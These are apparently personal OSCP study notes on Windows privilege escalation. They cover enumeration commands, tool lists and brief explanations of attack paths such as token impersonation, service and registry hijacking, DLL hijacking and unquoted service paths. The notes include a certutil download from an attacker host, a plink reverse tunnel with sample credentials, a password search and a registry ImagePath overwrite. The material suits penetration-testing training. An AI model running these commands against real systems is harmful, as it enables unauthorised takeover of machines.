Windows Privilege Escalation

MOST IMPORTANT NOTE: Enumeration post exploitation is a lot like enumeration pre exploitation. If you find something, don't just jump into it, keep running commands taking notes. This is the best way to avoid rabbit holes and always find the easiest path.

GitHub - C0nd4/OSCP-Priv-Esc: Mind maps / flow charts to help with privilege escalation on the OSCP.

Introduction: Windows Priv Esc guide, step by step

IMPORTANT COMMAND FOR FILE TRANSFERS: cmd- certutil -urlcache -f http://ip:port/file output file
: You can also start and ftp server and use that share files in binary. or a nc connection
:SMB server using impacket works best. See:https://www.noobsec.net/privesc-windows/

Important Links:

Fuzzy-Security-Guide-https://www.fuzzysecurity.com/tutorials/16.html (best one in terms of detaills)

PayloadsAllTheThings-Guide-https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md(Most well maintained)

Absolombs-Guide-https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Sushant-747s-Guide-https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

Windows-Kernel-Exploits-https://github.com/SecWiki/windows-kernel-exploits

Content:

Enumeration

The goal of this to gather as much information about the target as possible. Repetetion of the initial steps taken after the NMAP scan.
Step 1- System Information- to gather information about the system- look at patches, OS, drives etc

cmd- systeminfo - lists infor about the system
cmd- systeminfo | findstr /B /C: "OS Name" /C: “OS Version” /C: “System Type” - isolates important information about the system
cmd- hostname - provides the hostname
cmd- wmic qfe - provides the patching details of the system
cmd- wmic qfe get Caption,Description,HotFixID,InstalledOn - isolates important patching information
cmd- wmic logicaldisk- drive information
cmd- list drives- lists drives
cmd- wmic logicaldisk get caption,description,providername - better version of earlier command

Step 2- User enumeration

cmd- whoami
cmd- whoami /priv - sudo -l equivalent
cmd- whoami /groups - shows groups
cmd- net user - lists users
cmd- net user <user name>- lists sudo -l for <user name>
cmd- localgroup - lists groups with their members

Step 3- Network Enumeration

cmd- ipconfig
cmd- ipconfig /all
cmd- arp -a - lists connected IP Addresses in the lab network
cmd- route print- shows active communication routes
cmd- netstat -ano - lists all open ports

NOTE: The presence of other networks or open ports is indicative of pivoting or port forwarding attack vectors

Step 4- Password Enumeration

cmd- findstr /si password *.txt- searches for passwords in txt files in the directory. change directories and extension.

NOTE: Sushant747's notes has more commands that can be run in this case

Step 5- Firewall and AV Enumeration

cmd- sc query windefend - windows defender settings
cmd- sc queryex type=service - lists all anti viruses
cmd- netsh advfirewall firewall dump - dumps wirewall data
cmd- netsh firewall show state - firewall state
cmd- netsh firewall show config

Tools
Executables (on target machine)- winPEAS.exe/.bat (best, requires .net>3, Seatbelt.exe, Watson.exe (better than sherlock, but required Visual Studio), SharpUp.exe
Powershell- Sherlock.ps1, PowerUp.ps1, jaws-enum.ps1
Others- windows-exploit-suggester.py (local), Exploit Suggester (Metasploit)

Use powershell to download tools directly from the source, if machine has access to the internet.

Kernel Exploits

Kernel manages interactions between hardware and software. Kernel exploits are dependent on patches. If not patched, then kernel exploits can get a root shell. Use WindowsExploitSuggester and the windows-kernel-exploits list.

Just look up the exploit and see which one works.

IMPORTANT: Kernel Exploits are version based, always check version using [Environment]::Is64BitProcess on PS

Port Forwarding
Can upload pink.exe to act as an ssh client on the target machine in order to update shell to ssh shell if password is found.
port forward command- plink.exe -l root -pw toor -R<internal local machine port>:127.0.0.1:<same local machine port> <local machine IP>

If a port is listening on 127.0.0.1 means its close to the vpn system and can be forwarded. same for 192.168..

After logging into your own machine using plink, run the following command-

winexe -U <username>%<password> //127.0.0.1 "cmd.exe"

Otherwise use Chisel.

WMLEN

If wsl is running as root, you can use it to get a shell back to your local machine. or you can switch into a bash shell and use it to priv esc in the machine using Linux techniques

Impersonation and Potato Attacks

Tokens are like cookies for local machines. You can impersonate tokens. Mimikatz can dump tokens that can be used for impersonation in AD scenarios.

Privileges to check for that if enabled can lead Impersonation attacks. List of privileges in PayloadAllThings link. Churasco and any kind of potato attack are the way to go.

Best way to do this might be through metasploit

Watch out for alternate date streams

getsystem

Metasploits inbuilt escalator. Use when you have a metasploit payload.

RunAs

Runas command lets user run a command as some else. Similar to sudo in linux. You can use this to run a command to call a shell back as admin.
cmd-cmdkey /list - this command lists down stored credentials for users

Autorun

cmd-Accesschk- used to see who has access to a program. If the file is set to auto run, it can be edited and used for RCE.

Only works with mulltiple users, might require social engineering.

AlwaysInstallElevated

MSI packages that are set to be alwaysinstalledelevated can be modifed and used for RCE as admin. PowerUp.ps1 has a script that auto abuses this vuln.
You can query the registery to find out files that have the alwaysinstallelevated flag marked.

regsvc ACL

Depends on the control over a registry service. If we have FullControl Permission on a registry, we can compile a file in C (the language) that will lead to RCE.

powershell cmd- Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl - displays registeries with full control.

This requires a C file from the target machine, that can be copied, rewritten, and then recompiled with ming and then sent back

after sending file back and pasting it in a known location you can add the file to the registry

cmd- reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d <file location> /f

This adds this file to the registry, you can then use the following command to restart the registry service

cmd- sc start regsvc

This will lead to rce as root via the file

Executable Files

If a service has an executable that it runs as (check processes), and it runs with AllAccess then we can edit the executable, or replace it to run with RCE.

Just use PowerUp or WinPeas for detection.

Start up applications

Similar to autostart but here it requires a machine to restart and the RCE as ran on startup

cmd- icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Any file with F(ull Access) flags allow us to create an RCE when the admin user logs in.

Rare but can prove important

DLL Hijacking

A DLL is a dynamic link library that are shared libararies for exes. Exes run together with DLLs.

Just check running processes for DLLs.

cmd- sv start dllsvc - to start the DLL sservice

Can also overwrite the DLL files with other executable C code that acts as the RCE.

Path Escalation

PowerUp and Winpeas can tell you when this is needed.

Common- basically running a file with ambigous service paths, that allows for RCE.

service path - when the path has a space in it but no quotes - example “program files” or “common files”

example, when running a file in C:/Program Files/Common Files/file.exe, windows runs C:/Program.exe then C:/Program Files.exe and so on.

So you can make a file called Common.exe, and place it in “common files” to get it to run.